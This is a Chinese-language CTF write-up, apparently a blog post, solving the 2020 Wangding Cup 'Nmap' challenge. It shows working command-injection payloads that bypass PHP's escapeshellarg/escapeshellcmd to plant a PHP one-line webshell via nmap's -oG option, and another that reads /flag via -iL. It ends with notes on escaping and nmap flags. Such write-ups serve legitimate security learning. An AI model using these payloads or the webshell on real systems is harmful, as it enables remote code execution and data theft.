[网鼎杯 2020 朱雀组]Nmap1

打开题目

在源代码中看到了提示

先随便输入127.0.0.1

那我们试试输入

127.0.0.1 | ls

可以看到 | 被转义符号\所转义

那我们输入 127.0.0.1 /| ls

得到三条反斜线

我们猜测,我们输入的东西是被escapeshellarg和escapeshellcmd处理过后的结果

我们输入的东西必须绕过这两个函数

1.直接放入payload

' <?php @eval($_POST"y");?> -oG hack.php '

可以看得出来对php字段有过滤

我们修改payload为' <?= @eval($_POST"y");?> -oG hack.phtml '

访问成功

蚁剑连接一下

在根目录下找到了flag

代码在linux下的运行结果

2.或者payload为

127.0.0.1' -iL /flag -o uuuu

我们访问一下uuuu' 文件

本来最开始我在idea运行的代码,感觉按照这个payload来应该是访问uuuu"

结果大佬告诉我linux下的php运行结果和window下的php运行结果不一样

这是linux下的运行结果

所以就应该是访问uuuu'

知识点:

1.转义字符

转义字符是指在ASCII码和Unicode等字符集中的无法被键盘录入的字符、被当作特殊用途而需要转换回它原来的意义的字符。而转义字符的转义是指字符已经被转换了意义

2.escapeshellcmd和escapeshellarg函数

escapeshellarg函数

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号 ,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。也就是会把一些字符替换成空格。

escapeshellcmd函数

**反斜线(\)会在以下字符之前插入:&#;|*?~<>^()[]{}$\、\x0A 和 \xFF** 。 **' 和 " 仅在不配对儿的时候被转义**。在 Windows 平台上,所有这些字符以及 %和! 字符前面都有一个插入符号(^`)。也就是会在这些字符前面插入 \ ,如果是在windows上就会插入^

实例:

详情见:

PHP: escapeshellcmd - Manual

nmap的一些命令

其中 target 是要扫描的目标主机或 IP 地址。这将在名为 output.txt 的文件中生成 grepable 格式的输出

  • nmap -iL target.txt

读取文件内容,以文件内容作为搜索目标,nmap 将读取 target.txt 文件中的每个目标,然后对每个目标执行扫描操作,并显示扫描结果。请确保 target.txt 文件的格式是每行一个目标主机或 IP 地址

如 nmap -iL target.txt -o result.txt

//扫描target.txt里面的内容并输出保存为result.txt

  • nmap -o系列

输出

-oN 标准输出

-oX XMl输出

-oS script jlddi3

-oG grepable

-oA 同时输出三种主要格式

-v 信息详细级别

-d 调试级别

--packet-trace 跟踪发送和接收的报文

--reason 显示端口处于特殊状态的原因

--open 仅显示开放的端口

关于一句话木马的小知识点

为什么<?php @eval(_POST"y"); ?>可以替换成<?= @eval(_POST"y"); ?>

主要是因为在php中,

<?=

?>

等价为

<?php echo

?>

总而言之就是,在 PHP 中,'<?= ?>' 是一种简短的标记,用于输出内容。它等效于 '<?php echo ?>' ,一句话木马就是php代码,需要去解析php,支持解析的文件有php3,php4,php5,phtml

知识点参考;

https://paper.seebug.org/164/

参考wp:

https://www.cnblogs.com/AikN/p/15727575.html

BUUCTF 网鼎杯 2020 朱雀组 Nmap_网鼎杯 2020 朱雀组nmap-CSDN博客

https://www.cnblogs.com/DenZi/articles/15343512.html

相关推荐
北京中科新远科技4 小时前
高速光模块上线验收实战:DOM、FEC、BER与端口计数器怎么一起看
服务器·网络·php
微三云 - 廖会灵 (私域系统开发)8 小时前
供应链系统实战:多渠道订单聚合与分布式库存一致性方案总结
开发语言·分布式·php
LZ_6669 小时前
php代码执行3(难)
php
盛世宏博北京11 小时前
十二防档案库房总线架构设计:恒湿消毒净化一体机 RS485 组网实战笔记
开发语言·笔记·php·恒湿机·档案八防温湿度
无风听海13 小时前
深入理解.NET中的 Lazy<T>
服务器·php·.net
Evelvnk14 小时前
计算机学习资料
开发语言·人工智能·计算机·php
迪康coolmu14 小时前
迪康Defender网络准入控制系统落地实战:部署、配置与问题排查记录
运维·开发语言·网络·经验分享·php
PHP实战开发录15 小时前
PHP中文文件名为什么乱码
开发语言·php
silvamux_15 小时前
大模型 API 单元测试怎么 mock 不误伤
单元测试·log4j·php
巧克力味的桃子15 小时前
复杂网络能控性鲁棒性研究进展
开发语言·网络·php